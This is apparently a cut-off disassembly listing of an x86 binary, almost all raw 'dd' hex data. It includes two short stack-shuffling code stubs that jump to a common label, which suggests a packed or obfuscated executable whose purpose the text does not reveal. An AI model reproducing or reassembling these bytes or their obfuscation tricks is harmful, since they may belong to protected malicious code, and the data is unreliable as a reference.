0D4677A10h, 70713924h, 0B940592Ah, 0A65516F8h dd 0C5D2ECEAh, 7EA581h, 70890000h, 0BD7524CDh, 301FBD54h dd 9B05250Fh, 0AB4AEDECh, 66AF33C9h, 2A2B3925h, 407775E4h dd 13081C5h, 7A000000h, 0E2CF573h, 0AC98BC77h, 80EA670Ah dd 4D2FDE8Eh, 36FB7C95h, 41E08887h, 7E27C65Fh, 0CA60039Ch dd 257230B4h, 0BAE12639h, 0F6A33FD8h, 4D939014h, 0C24DC41Dh dd 658C1BCEh, 95ABE37Bh, 3925144Fh, 1DC5EDFEh, 1C907A4Ch dd 5FA528D7h, 0EE8E0FADh, 90AB2047h, 0FBCF44EDh, 2238F273h dd 3924D2C2h, 46284F94h, 0EF6F78Eh, 389C7624h, 48C8EABBh dd 13C233ECh, 8B779414h, 0D644BFC2h, 0D253355Ch, 56D789CFh dd 60031E93h, 8FB433CAh, 8BF5B5DEh, 2539558Fh, 44E40139h dd 0D3FABB9Dh, 8F31CAACh, 0B75404E6h, 0B809A071h, 0EF760E14h dd 0D3C17D2Ch, 8C81C5C6h, 7Ch, 0E10CD970h, 0CED8E6Ah, 0F273A55Dh dd 7C954D2Fh, 0B43A39F8h, 0A14342F1h, 9D9A1E00h, 5D00A557h dd 0AD28CDE8h, 0C767660Fh, 587F4022h, 975EDD76h, 0C092E279h dd 0ED6B6FD2h, 20C35C3Eh, 65889F81h, 0BD07B500h, 243BBEBDh dd 0E769F929h, 0AC8EB558h, 2903494Ah, 0C1307613h, 81C5A8D3h dd 578Ch, 0D6577000h, 73AC6413h, 0B44D2FF2h, 38516F32h dd 6042F1B0h, 2EE026C5h, 9B6FE489h, 0D154F573h, 466D2E10h dd 0D313CE64h, 29C53924h, 0B7CD6D10h, 3924D32Dh, 0DBBDE429h dd 0A2E86B1Ah, 0C5D43533h, 2A407881h, 3924C6BAh, 0A8579Ch dd 8, 842DCBE4h, 7A32E1A2h, 4E30F173h, 917332B5h, 0ABC0223h dd 6F4ABF66h, 489CB2CAh, 0E3924D3h, 0ED84A2C9h, 0D9FD41CDh dd 0D2F09F22h, 439D21BCh, 0E2273Fh, 0A81DC467h, 694BEA8Dh dd 78D0FD3h, 7031B833h, 0B372F58Eh, 286E6FD1h, 68AE4D4Eh dd 0FD7233B6h, 0D4405FE2h, 0D25D54F1h, 41DABCE3h, 9415F7BEh dd 16994B91h, 62DF477h, 2E2DCFE8h, 0CC378117h, 0FEADD4CAh dd 4CB3B189h, 3A6C87E3h, 0B6000001h, 0FAA73B54h, 0C4AD8C4Bh dd 0EF3990A6h, 4CE73F42h, 0F48E2340h, 2194CC49h, 0A841234Ah dd 41E08405h, 2779E5Fh, 7F9D44E7h, 74CE24E8h, 0AF5EE6A8h dd 0F9B134CDh, 67901E3h, 0E9105533h, 3D838607h, 0D449E88Bh dd 0E42EFEFCh, 60B787h, 0B3010000h, 0D2579B8Ah, 793C7713h dd 161E3452h, 0E03925CCh, 7BD88B45h, 587F6CC9h, 3E27BE76h dd 45DE1C5Dh, 0AF3531E0h, 1C3924F9h, 5BF4D69Bh, 0AF3315DCh dd 0CA926CB2h, 2C1183C9h, 6E102947h, 0E8FE1CCBh, 3924FA4Ch dd 9E5BE700h, 0D84CFBBCh, 0D95C7593h, 0CC891918h, 57A29EAh dd 8CFBh, 86B3C900h, 33B6CFEDh, 6DA5C372h, 1AD7EAD6h, 29D83612h dd 43CFC82Dh, 1193B03Fh, 30AD6E50h, 6113D827h, 4E30570Dh dd 0FE7332B5h, 670AABC4h, 6F36B9B8h, 0E33ED58Dh, 8C5DA335h dd 7D8D483h, 0B8330721h, 0E902D319h, 0F9BA9C59h, 9A84B4Ah dd 0D31D54EBh, 0B21AEE4Dh, 86B38E03h, 0ABB9CFEDh, 0AB392B0Ch dd 70D30810h, 9714459Ah, 9C2BF93Fh, 33153C88h, 6C4E179Ah dd 2597DDFEh, 2B415F14h, 33081239h, 10D55A73h, 33A8ED61h dd 1586B35Fh, 2AEBCD90h, 75ADE503h, 24D2855Fh, 32B4D139h dd 9D99486Fh, 3F4840C7h, 4D97ADE5h, 9330166h, 5CA115C4h dd 0BF5EE17Ah, 0DA4F7623h, 93753CBFh, 50AE44DBh, 0B2882C9Ah dd 16510703h, 7A7796B8h, 36FF8234h, 6203A6C1h, 0A140E780h dd 0EA3051BFh, 0C096B538h, 4A10B0FDh, 0B8F2678Eh, 795B1E9Fh dd 670A09B8h, 769D40E6h, 30C94h, 7FDA0000h, 33EE73A7h dd 6C35B851h, 0A84DF18Ah, 0E8952DC6h, 25C86D06h, 6005AA43h dd 9F46E57Eh, 0E18024BDh, 1FC666FFh, 8953003Dh, 4C381E3h dd 81000000h, 4EBh, 241C8700h, 2404895Ch, 81E28952h, 4C2h dd 4EA8300h, 5C241487h, 68241C89h, 4A43h, 52243C89h, 0C24F6668h dd 0EA815A36h, 0FFFFFFFFh, 6748E281h, 0C2816DCFh, 64FC1D2Ch dd 0F6DFEA81h, 0D389839Ah, 3C8B545Ah, 4C48324h, 4EC81h dd 1C890000h, 24348124h, 63E0FA7h, 8108478Fh, 0FA70877h dd 34FF063Eh, 0C4815F24h, 4 db 8Bh, 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_536D7B ; --------------------------------------------------------------------------- db 0F6h dd 0B4318117h, 7232B8C0h, 0C5030623h, 4777E0FFh, 152B2365h dd 79A308FBh, 0E4A643CEh, 305B18FAh, 9DF71915h, 8836294Fh dd 514A1FF5h, 2BFC3B38h, 0FA5738C8h, 815F73B7h, 29DF04B6h dd 53251C79h, 9D156F17h, 550D44F8h, 0A4A3F3Fh, 11505676h dd 4843E987h, 0AC44A5EBh, 73B2F11Eh, 378B050Ah, 721C7976h dd 87A5FFA7h, 874982E4h, 2683309Ah, 7A3947D1h, 8A6D23A5h dd 3169178Ah, 7D3E3FA6h, 5DDD30A7h, 340660A7h, 177730A7h dd 0BEE3F3FFh, 0B6D914E3h, 2BEA14E3h, 777730A7h, 543F3F7h dd 876FB5F0h, 0DF28EB1Fh, 377730ABh, 5C1011A0h, 0BFB607DBh dd 0CDC408BCh, 3775B6A8h, 6DE930A7h, 3498D9FDh, 0B9E130A7h dd 377730A6h, 7E06B35Bh, 37DB2EB8h, 37ACB4A8h, 0DE8B30A7h dd 37BB338Ch, 0DF8830CDh, 37EE30A4h, 6AB46D87h, 339F5C2Eh dd 33F97426h, 37EE30BBh, 1AB465E2h, 85220F72h, 0C5D1BCDBh dd 0A16589C1h, 37773D4Fh, 403A55A7h, 13797B98h, 8371679Bh dd 688FD261h, 4481B52Ah, 0DE5C3684h, 9581D89h, 377BD9F7h dd 0B51330A7h, 0B61EA0EFh, 52A13782h, 33FE63C9h, 2B3EBD83h dd 5DDB13D4h, 340660A7h, 177730A7h, 0BEE3F3FFh, 0B6D914E3h dd 2CEA14E3h, 777730A7h, 0AF75F3F7h, 968B18EAh, 67BEA311h dd 3764D8F5h, 4A2330A7h, 6F756D5Dh, 5A75ED5Bh, 0EC5474C2h dd 50C464A4h, 6D0EBB04h, 65BE01A8h, 561701A8h, 6FE168FDh dd 0DFF9342Eh, 37EE30AEh, 0CEC6FDC7h, 70F7466Eh, 6D438132h dd 242FA558h, 371D36B9h, 37B8D8F7h, 6FFD30A7h, 73676864h dd 73F63483h, 37AE3483h, 679D30A7h, 0DE344464h, 377730AEh dd 83883DD3h, 0D786892Dh, 382EBB5Ah, 37772122h, 37B7D9A7h dd 930530A7h, 442B8F74h, 0FAA63AC2h, 3852E0BFh, 86DD30A7h dd 0C6FD94BFh, 77F13A8Fh, 0C9916497h, 8A5E7E25h, 31F02DDEh dd 0B47E45A7h, 2990151Ah, 2EA930A1h, 0F76563F7h, 37734A1Fh dd 0DE3EB9A7h, 0BADB2EABh, 17420A3Ah, 6CA4CFA1h, 1206B3FFh dd 37DB2E8Ch, 64BE27D3h, 37734A1Fh, 0DE3EB9A7h, 0BADB2EABh dd 1747193Ah, 6CA4CFA1h, 65BB5AFFh, 37DD334Fh, 0F4B410A7h dd 1323B9FDh, 13FFB1A3h, 37DD27A3h, 0F4BC72A7h, 0E2220AECh dd 0BC4B87A8h, 0B6BB6267h, 6DDF186Dh, 4453AD2Ah, 30533684h dd 0EFDD30A7h, 0B46FC91Eh, 3828FF8Ch, 37BB3C2Fh, 37DAD9A7h dd 0EDC30A7h, 0AF4E38E5h, 263EBD69h, 51DB13C6h, 0E711CB2Ch dd 83F6FA26h, 0C03A31E8h, 6F21C808h, 0B3E1F0ACh, 377730EBh dd 37BB234Eh, 8E23B3A7h, 9AD94E90h, 3532C645h, 0AF7E3212h dd 0FFD9952Dh, 7B56AD2Ah, 0D5F636B9h, 1B6442Ch, 37DD331Fh dd 2D633FA7h, 577730A7h, 37BB3E4Eh, 878A47A7h, 0DEA67170h dd 73DE9383h, 8CDA6950h, 7646EBBCh, 0CB0DCFC6h, 445BAD2Ah dd 0E1303684h, 56CCB52Ah, 0B6883684h, 0C8AB4261h, 387B3B77h dd 37DD5023h, 0BA16BBA7h, 293B883Ah, 66BB5AA1h, 37DD334Fh dd 0F4B710A7h, 133BB9FEh, 13FFB1A3h, 37DD2AA3h, 0F4BF71A7h dd 46E06F38h, 0DFCE657Dh, 37DD30B5h, 3BE86CF6h, 7EB6176Bh dd 0CB8885FAh, 4888B4C9h, 38079619h, 0D47730A7h, 3C537E8Bh dd 9C88A8E1h, 0A47E8838h, 8F2D6BD4h, 37BB30A6h, 0C813BBC1h dd 673BD44h, 0BA7113D4h, 14DA2122h, 5D0DCFA1h, 340662A7h dd 177730A7h, 0BEE1F3FDh, 0B6D914F3h, 2FEA14E3h, 757730A7h dd 270CF3F5h, 3C81AEEEh, 676A3F67h, 0BD7730A7h, 8F26BD70h dd 57DB2EEBh, 37EE204Fh, 82A064A7h, 49887FE2h, 72EAB6BCh dd 0BB52BA6Eh, 688EBB6Bh, 566DBBC1h, 37DD331Fh, 5D0DCFA7h dd 349F62A7h, 17BB30A7h, 0BE87F3FDh, 0B6EA14F3h, 2B7314E3h dd 75BB30A7h, 0ECEAF3F5h, 887D4C40h, 74EB5A22h, 44A18D2Ah dd 0BA503684h, 31CD4653h, 7C2B4D1Fh, 8A3E032Dh, 1CDB2EABh dd 0AD2AF168h, 3684445Bh, 0B52AE130h, 368456CCh, 4261B688h dd 3B77C8ABh, 5023387Bh, 0F305E983h, 0FC08BA4h, 0C38BF7B7h dd 8B48C580h, 2830FC0h, 8B000000h, 79BD83D1h, 61E1Dh, 0BD830975h dd 61E2B25h, 50197400h, 0B8C08B53h, 47Ah, 0D198589h, 9D8D061Eh dd 620ACA1h, 585BD3FFh, 2B25BD83h, 7400061Eh, 0B8535017h dd 47Ah, 0D198589h, 9D8D061Eh, 620A942h, 585BD3FFh, 6A1DB6h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 0AECF6CC3h, 92FEBAACh, 8DC08BF9h, 2378548Dh, 0E1958906h dd 89061E01h, 1E23758Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 0C7D8D066h, 85C70F5Fh dd 61E324Dh, 6590h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 58C35646h, 750DCE4Ah, 3B19533h, 8589061Eh dd 61E0955h, 316985C7h, 61Eh, 0BD010000h, 61E1CF9h, 415B5FFh dd 6A061Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 1F8BD0C3h, 58C0F0Bh, 0BF000000h, 2B964571h dd 16B995FFh, 830F061Eh, 1, 0FF006AF8h, 1E26C195h, 0EBC08B06h dd 0EF32E01Eh, 3BB3CCD8h, 53139E76h, 8B0E26Fh, 10966097h dd 1F6BFCDEh, 0A7004B2Bh, 0E86B51A2h, 0Dh, 6030ECF3h, 0E6ED2BA9h dd 800FA4C4h, 5921B08Ah, 0C659D23h, 0C181061Eh, 710Bh dd 1CB1858Bh, 0F68061Eh, 0B800001Ch, 30E26459h, 0F18B665Fh dd 858B31FFh, 61E0111h, 0A1B58B5Ah, 81061E1Dh, 0C4204EC2h dd 49B58B01h, 81061E04h, 47211F2h, 94CE813Bh, 8120844Ah dd 9F7AB6EAh, 0FD858B37h, 89061E1Ch, 13E911h, 19120000h dd 0C51F055Dh, 0A79F0013h, 991A332Bh, 0A52B2187h, 2E983DBh dd 13E9h, 2AEA3A00h, 0A26063B4h, 76F0DF04h, 15C21EB5h dd 9034EA84h, 0B5294949h, 61E1DC9h, 0F01EF83h, 1985h, 8DB58B00h dd 0E9061E2Eh, 1Fh, 0F2B25FD4h, 588218EFh, 0A9C64D76h dd 0F7B02A41h, 0FFFF67E9h, 31A2C7FFh, 32781217h, 0EBF353D7h dd 0B35D7708h, 0E7339C6Ch, 0D1BE977h, 0E7680000h, 0E906237Ah dd 0FFFB0637h, 237C0B68h, 62DE906h, 6668FFFBh, 0E906237Dh dd 0FFFB0623h, 237EA568h, 619E906h, 4468FFFBh, 0E9062380h dd 0FFFB060Fh, 23827268h, 605E906h, 0B368FFFBh, 0E9062383h dd 0FFFB05FBh, 2384D668h, 5F1E906h, 3CC5FFFBh, 4BF10C81h dd 961A35AAh, 0B83F5ACFh, 0C46984F9h, 796BAC21h, 0AF24C96Eh dd 0DE530E94h, 97E23C3h, 35AA4BEEh, 61839935h, 0F53F484Bh dd 1C546840h, 4367D385h, 433F08A9h, 3924FAA1h, 0C2C170B5h dd 0FB94763Fh, 0A44B978h, 0FB28BCD2h, 0E92E3924h, 0B5BE7B3Ah dd 17D88197h, 86BE3F43h, 6DC7470h, 0EE9DE233h, 0BD53357Ah dd 3306DD23h, 0D5A6EC89h, 0DC5D879Dh, 0B4F93306h, 0C64B4905h dd 510487E3h, 4E000000h, 0CFED86B3h, 42FE4CB9h, 0E589A23Fh dd 0A7B13349h, 60A53306h, 0E7965739h, 0F7102E73h, 0DCEB071h dd 0FAE67C5Eh, 0B23306A7h, 6260CF15h, 0A587E3FFh, 9B8D576Dh dd 1CC03306h, 420DFC1Dh, 2BDA1F93h, 0A783h, 192F6700h dd 33069DCBh, 0DF97468Bh, 0D359F073h, 7009EB12h, 0AF482ACFh dd 0EA83650Ch, 11299E47h, 3924D7A0h, 46EF8DA6h, 0F5F4A364h dd 233EB372h, 0A6FFE180h, 105A8893h, 6E8892Ch, 0D261C845h dd 243A587Fh, 3F4233A5h, 0E6C1367Bh, 0FFA64653h, 17355C1Dh dd 26C61901h, 4664A939h, 70E5882Dh, 4B0DD055h, 0EC27F0D6h dd 0E856DEE0h, 8C00000Ah, 0BAD54AF7h, 0E3FE7332h, 102BA041h dd 3853C869h, 3C7DF2B7h, 0FBBE3F4Ah, 2AD76B86h, 51149AB5h dd 773EC1DCh, 50660202h, 3F484C94h, 73350DC2h, 9FBA2FF2h dd 0CE0551Ch, 971586B3h, 0D0B273F6h, 0A3C1E80Fh, 5F41E48Ah dd 9D7F26C6h, 0E806B5DCh, 42FE33D2h, 220653Fh, 7424166Bh dd 0A53DB493h, 2E5516F8h, 7E9882Fh, 1FB59746h, 330686C1h dd 99084EEBh, 87E4209Bh, 0FB54h, 0F0739E00h, 0E70ED759h dd 697B91C9h, 0ED3924D2h, 7E17F9A8h, 0FD1634F9h, 13D4B67Fh dd 24D38E14h, 0D805AC42h, 0DD603924h, 0E1849F14h, 0F48B2240h dd 28A54E58h, 8A0A7EFBh, 0E420963Ah, 3FFA5335h, 0F7D1432h dd 763FBD94h, 3856D394h, 314FFEDFh, 41F8AE1Bh, 7331C83Fh dd 3565D37Bh, 83C83CEBh, 7606330Eh, 6068460h, 2A74733h dd 0CEEB5F20h, 365D8429h, 0B57CFF18h, 456312D3h, 26AFDA2Fh dd 6381C639h, 5595F5CCh, 25D49D60h, 36B6CF07h, 1DCC8D6Fh dd 5FD4991Eh, 3CFEA344h, 0EC27C4F7h, 0C43DC5C7h, 68000009h dd 8EA91EDBh, 0B7D247EEh, 0DCF76C35h, 41F945Dh, 849BE63h dd 0C76A0B16h, 0EEAB3752h, 15D85E79h, 43E285A0h, 1C32CECEh dd 3F484EC8h, 5401D98Eh, 16F8B93Bh, 6A7A655h, 9BB4EE63h dd 0B475571Ah, 0C37233B5h, 6A821C4h, 51E3C63h, 3EC1C07Dh dd 7F53C877h, 4F31F073h, 1C1C33B6h, 0FAF04C8Ch, 6E2BB7B6h dd 2FA4CB8Ch, 3DA7BDF5h, 8E392535h, 0A16244E9h, 7A39E82Dh dd 7E94B2BFh, 3F435B8Fh, 5CF2D419h, 33070C85h, 0D7468C29h dd 87E396D9h, 63592h, 1C54DC00h, 24D2DE06h, 0DA1B6F39h dd 8C7ED43Fh, 0B978FB18h, 40EF16D7h, 5FE3B881h, 0D8FFC0A2h dd 0C9B9A4BAh, 538F3F43h, 7B8A73Dh, 0E1802433h, 85CA3EFFh dd 0ABC47C5Eh, 0C6876908h, 0D18021C7h, 7B90BD5h, 0BE04A133h dd 0E2EA514Fh, 5E40A87h, 0B3540000h, 0B9CFED86h, 3F42E02Ch dd 6F05E72Ch, 3306C571h, 0E9589E3Bh, 87E3DDEBh, 0D293152Eh dd 0D8802FF0h, 5BEh, 61C5422h, 3924D2DEh, 0C4A64FEDh, 9B4A8F03h dd 5ADF8001h, 3CE5FB19h, 943F42F3h, 0EADF754Fh, 0EBBF1BDCh dd 0F107254Eh, 0AD0F8BE0h, 0D0290B50h, 0D4EA0869h, 0A6F1BF06h dd 0C0D9F73Ch, 0E4FF743Dh, 6FDEA041h, 2359F7CFh, 8699921h dd 740D0000h, 0B33954C9h, 0DE627DF2h, 0E087A217h, 0CB1CC41h dd 0C1B3F469h, 0F76C31B6h, 269B46DCh, 51C66B0Bh, 7DF2B336h dd 19CBE17Dh, 3D3F4850h, 0F073B088h, 43F64F31h, 0D879102Eh dd 16044E9Ah, 558DAB5Ah, 19FBA63Ch, 88ADA958h, 0C63F48B3h dd 0C06C788Eh, 0A5EA3301h, 0C83D82F6h, 1C160B0h, 7F22C333h dd 0BD64049Dh, 0EFEA6F96h, 5530A54Ch, 37B53DE8h, 0E2FC9EB5h dd 2D659DBBh, 0DFCD17h, 95448933h, 0E05399h, 0A8506933h dd 0A1E65A09h, 0E28326BFh, 6A17ABC4h, 0C22E46BBh, 213300DFh dd 4863D89Dh, 841AFCA5h, 3300CF5Ch, 3C1EDB67h, 7F6100A3h dd 0FCD61C1Dh, 45165CFBh, 37E68B2Ch, 9314B538h, 0CDAF76F6h dd 6A03E50Ch, 0FBFA21C4h, 11D2B47Dh, 0A435CCEAh, 28DE9237h dd 9DB82DDCh, 0E3795B1Ah, 33011BFDh, 0D88AD0F1h, 0D178C55h dd 129h, 31F073DBh, 6D30B64Fh, 323CD38Bh, 89DD2E6Ah, 221E8603h dd 0DDBA277Eh, 4AB2322Eh, 96193925h, 0A594EDCFh, 3E76AECCh dd 254ABC28h, 0A6559A39h, 48C48BAAh, 758BC33Fh, 3301D16Fh dd 7FF3A2E7h, 54C7783Ah, 9597F244h, 72A0Dh, 8835CE00h dd 0B170F813h, 0D69F213Ch, 0FEA74661h, 24C96E89h, 717C6EAFh dd 99B429CCh, 0BCD74C09h, 0E702773Ah, 28289D44h, 506E768Ch dd 33E83F48h, 31F0735Bh, 6C31B64Fh, 0ACB1B74Eh, 78CBF4D9h dd 0B53954C9h, 0DD607BF0h, 5FDDF614h, 5772E796h, 0BDF513D6h dd 25203DA7h, 0E6371039h, 5F1F0963h, 8934CEEBh, 10BFE6A7h dd 0DB5D762Eh, 0D3FABB42h, 87802524h, 34C3D347h, 405674B1h dd 392542A4h, 28466DB2h, 0E4C6730Fh, 11927423h, 9116C80Eh dd 1195AECCh, 9CB26A4Ch, 39254348h, 0F3A2C90Eh, 8C2B447Eh dd 7C7A36E5h, 3581C564h, 7, 60847Fh, 73520000h, 0B94F31F0h dd 3924E327h, 0AE60A6C7h, 0DAF56A0Bh, 19AF9154h, 3924C2C8h dd 20F13738h, 11C06107h, 54C96C12h, 2EF37380h, 6E33B34Ch dd 0C2080B8Ch, 32756E10h, 47CF6030h, 9DB52A51h, 3925704Dh dd 892B4462h, 964506E8h, 0C543DDDAh, 0FEAB9681h, 617AFFFFh dd 0B26A19DCh, 31D84h, 0F0735200h, 37B94F31h, 0E33924D3h dd 0E5882E47h, 10934203h, 0CC9518CAh, 846076AEh, 473924D2h dd 5D1E00A1h, 4D97ADE9h, 93924D3h, 697F9DC4h, 3924D27Bh dd 72E796DBh, 0D6831F38h, 858433F4h, 29C86BE2h, 7D5F8647h dd 2E932EC5h, 0C25AFEF3h, 6ED91713h, 54EB3925h, 235D832Dh dd 0A93CB91Ch, 881B8993h, 802322D1h, 93A6FFE1h, 8BAAC0DEh dd 6D3F48DCh, 0D3961831h, 1EA0DD7h, 0DD044933h, 446DBE1Bh dd 7E0608F2h, 58Bh, 72E7922Fh, 9B10D157h, 0C035FC80h, 0EA5F06A5h dd 168B2ECFh, 57D8E3D5h, 60021D92h, 812540B5h, 0A94C67DCh dd 0F7939308h, 485303E1h, 0C69E533Fh, 1331F073h, 54BFD47Ch dd 4BFACC74h, 6379B169h, 3924DE81h, 0E2E190D5h, 823985Dh dd 2C47BC65h, 6B04E68Bh, 0C44527CAh, 0CB6A0D26h, 0F67928E9h dd 0B479FEB0h, 0C469673Fh, 232281C5h, 6C000002h, 0F8B93B54h dd 0E7A65516h, 0A53B1D56h, 3813D229h, 4A2CF176h, 886A0BB1h dd 0E4BE0407h, 0FB7D96CEh, 0DE061C3Ah, 783A35D3h, 0BB018433h dd 0B4CF4E4Ch, 1EC0780h, 0D2EB0000h, 0E2A38530h, 8AB37B33h dd 27BDD3F1h, 2F3924D3h, 5C7208EAh, 433813D1h, 811AFCA5h dd 0BAADDEE1h, 0F15C9DDh, 0A3A406E8h, 356D835Dh, 79FDE7FDh dd 14593A36h, 2D9CE265h, 80B4292Fh, 1A9E8h, 8AB33200h dd 33BAD3F1h, 6DA5C372h, 0D2C51F35h, 4C913924h, 2204A94Dh dd 32B6B261h, 2C3924D3h, 5F6F05E7h, 293813D1h, 0D9D7468Ch dd 1C80B4CFh, 614AF185h, 0C3721CAEh, 16D1Bh, 8AB36500h dd 0ACD39219h, 0D274788Eh, 0ADF23924h, 32F3768Fh, 0C30BA183h dd 0C53813D1h, 7573E228h, 0B880B4CFh, 0CB7A6A80h, 97DC3A35h dd 13C40E8h, 738A0000h, 0FA1331F0h, 1F01B075h, 2442E386h dd 0B9CF6B0Bh, 3924D32Bh, 10BFE62Bh, 0F879C09Bh, 0F095C4DAh dd 6FAB3F42h, 6B58B59h, 5F86CB33h, 0B5F9E77Dh, 16B33306h dd 0ED6361D0h, 3A1C87E3h, 0 dd 0BC4B8E69h, 73910F0Fh, 5F0875Dh, 0DB8ACF33h, 0ED86B323h dd 0FE4CB9CFh, 74C3F42h, 0B6D66D25h, 0FA87D635h, 4E928E3Dh dd 5E3305F6h, 0E0C7BC1h, 0C787E4B2h, 97h, 31F07311h, 9431B64Fh dd 2CE97910h, 8062894Ah, 0BB9D44E7h, 0CAACD3FAh, 5E78E31h dd 0B328C96Ch, 24D8169Bh, 2DAC4F39h, 4102E489h, 0AEC4FC1Ah dd 3924CF36h, 7F5EDB20h, 931DEF46h, 946FE493h, 98AECCA5h dd 3F4540EFh, 314A68ADh, 5974E98Ch, 9C4F11D4h, 52F24671h dd 35DC850h, 60010000h, 872540B5h, 0AA4E69DEh, 0FC7B960Bh dd 0A5C035h, 0B5A7E85Dh, 0EB6005AAh, 128732D0h, 3DB277F7h dd 61D69F22h, 35AFC561h, 213F4855h, 0F273946Ch, 1C9FBA2Fh dd 730CE055h, 0B64F31F0h, 1C547233h, 24D2DE06h, 3C506F39h dd 6FBFF17Ah, 9207B6FBh, 253F677Ah, 0D69B9E39h, 6313A2B8h dd 0A0E53F43h, 0F073572Bh, 33B64F31h, 1722FD72h, 33263C5Ah dd 633F42F0h, 403A24Ah, 1DDEC061h, 0D3B5FA6Eh, 6B4A33Dh dd 266C0933h, 0E3EEB9B7h, 3E7287h, 0B3BC0000h, 0B9CFED86h dd 3F42FE4Ch, 0E9882F4Ch, 0BC9E47EAh, 9DB6D4FBh, 0DF785A1Bh dd 0C4739A5Fh, 0A7944CE2h, 892F3306h, 0D56D06E8h, 0E3E44628h dd 10ADC39Dh, 0FF5D5BCAh, 0BE1687E3h, 60000000h, 1331F073h dd 0D31FC5DBh, 0F2373924h, 27C86143h, 0AB0906AAh, 0F56B2B47h dd 0FDDF062Dh, 0EB962C45h, 9A994809h, 0D36C4E17h, 41C9150h dd 39255EADh, 0F76C35B8h, 0B69859DCh, 3EBFDC5Dh, 0B1D8997Bh dd 0BA425B93h, 0A95819FBh, 43624CADh, 7AEF343Fh, 0BBD99A9Fh dd 27F4DCA5h, 516FB439h, 7DF2B738h, 5618DD62h, 0EC291F8Fh dd 1CC95153h, 0C0000002h, 0E6017623h, 0F2A9F46h, 344FC46Dh dd 5C77ECB5h, 60A116DBh, 1FC2636Eh, 46F38FAAh, 6D30B6D1h dd 9B5ADDF8h, 748A2626h, 3F485570h, 735931E6h, 0F8112FF2h dd 0D30AD74h, 5C76DE7h, 1E39AE5Dh, 2B65DA9Bh, 1C676C94h dd 0E5942642h, 0ED86B32Dh, 0E47E97CFh, 778E8A39h, 213F42FDh dd 7C64FADCh, 473306A6h, 0E28325A4h, 0B840D9BBh, 0DC0017F9h dd 0EBE73C4Bh, 0C90F12F9h, 0F63CD9EFh, 0E4C88987h, 0EF4287h dd 738C0000h, 7C1331F0h, 485E34C3h, 3925989Ch, 83F875BAh dd 0AC8E3D7Ah, 0EDCF9213h, 255A5A57h, 0D2680B39h, 255128BCh dd 0C2E92E39h, 77FA134Dh, 650CAFAEh, 1413C283h, 95EED091h dd 79B1CFA4h, 5C7AA41h, 0E4A44C7Fh, 24F8FCE8h, 66155A39h dd 43058F6Ah, 37ACF13Fh, 0DA2C66FDh, 0B6D3309Ch, 80F14807h dd 29A44962h, 0AB9E085h, 0FC4CD6ECh, 41863927h, 0C0650A23h dd 3CF989A2h, 588CA25Ah, 0FE2CE6A9h, 1A1592B9h, 0ACA4884h dd 5570E594h, 0AC4B0DD0h, 1AEC2870h, 0F99018h, 49D0000h dd 23C9E459h, 4EF20D82h, 901732A7h, 0BC415CD1h, 514384F9h dd 87FCA146h, 0B62BD66Ch, 0E1561B9Bh, 0D8223C6h, 895B710Dh dd 0CD3F4856h, 1C544018h, 0D316CEE4h, 0FB403924h, 24D2E5FFh dd 7D2C7139h, 0BF34F97Eh, 536901A4h, 3924D291h, 0E45980C5h dd 0B83B5410h, 0A75617F9h, 7A5C05A8h, 22975EE1h, 6381F247h dd 4C1FFCCCh, 9443B49Dh, 0F0063E76h, 392516F4h, 1C9051D7h dd 52C28D7h, 0EB3F4890h, 7E942ACEh, 33019D66h, 5D84ABF0h dd 965FE27Bh, 7C50E721h, 0D3921ADAh, 71D3EB56h, 0A920C3C2h dd 0BC7D5F06h, 0D473563Fh, 0ADD49692h, 44DB13CBh, 0D8107B10h dd 0CA1A1689h, 8C33012Dh, 2D9C9847h, 7D9D920Ah, 0E5883A80h dd 9ACC73Ch, 52895B71h, 88CDC870h, 852A4361h, 975EE1E0h dd 6345F4B5h, 0A08223CAh, 19CB1132h, 3F5ACF96h, 8B13F5BCh dd 3, 73A77F59h, 0B85133EEh, 0F18A6C35h, 2DC6A84Dh, 6D06E895h dd 0AA4325C8h, 0E57E6005h, 24BD9F46h, 66FFE180h, 3D1FC6h dd 5E08950h, 4, 8704E883h, 895C2404h, 8957242Ch, 4C781E7h dd 83000000h, 3C8704EFh, 4895C24h, 2A4A6824h, 1C890000h dd 4EC8124h, 89000000h, 7D68240Ch, 5919C75Ah, 59C8C181h dd 0E1814EABh, 59B2617h, 55A9C181h, 0C8890611h, 1C8B5459h dd 4C48324h, 8904EC83h, 438F2404h, 241C8B08h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop eax add esp, 4 jmp loc_536D7B ; --------------------------------------------------------------------------- db 59h dd 85F4B89Ch, 0C5030623h, 7502E0FFh, 0BF41CE7h, 27B234B5h dd 0C6C93E60h, 4DB950F3h, 9C585D4Dh, 763738A9h, 8D8D5B4Ah dd 6238779h, 1FA1858Bh, 8D89061Eh, 61E2375h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 25C35242h, 0B078D69h dd 1E14CDBDh, 4D85C706h, 44061E32h, 6A00006Bh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 0E999C350h, 11h, 92EBDB8Bh, 120D6DD3h, 69DB7146h, 0CCDC2D2Bh dd 6985C797h, 61E31h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 85D2C352h, 0ADE321CFh dd 19958BF6h, 0E8061E33h, 0Eh, 6CDE004Ch, 0FD8631A3h, 98B989DAh dd 8B66FC4Eh, 0B5FF58F0h, 61E2991h, 1DBD958Bh, 95FF061Eh dd 61E16B9h, 2EB1958Bh, 6A061Eh, 26C195FFh, 0C08B061Eh dd 84C1FEBh, 0A28B1513h, 5431210Dh, 0C226F6E5h, 0BB9DA4Dh dd 0FCE33AE1h, 85B3363Eh, 0AA2891C6h, 0DE859h, 0CE340000h dd 9A807FD7h, 3D1A8F27h, 0F3495DBh, 68Dh, 45858900h, 5E061E15h dd 6B1FC681h, 0F570000h, 185h, 335BF800h, 0BF6660C0h, 0B70F98CAh dd 3C8B61D7h, 81DA8B06h, 0FBC0B5F7h, 0F985893Fh, 81061E1Bh dd 10DCE4EFh, 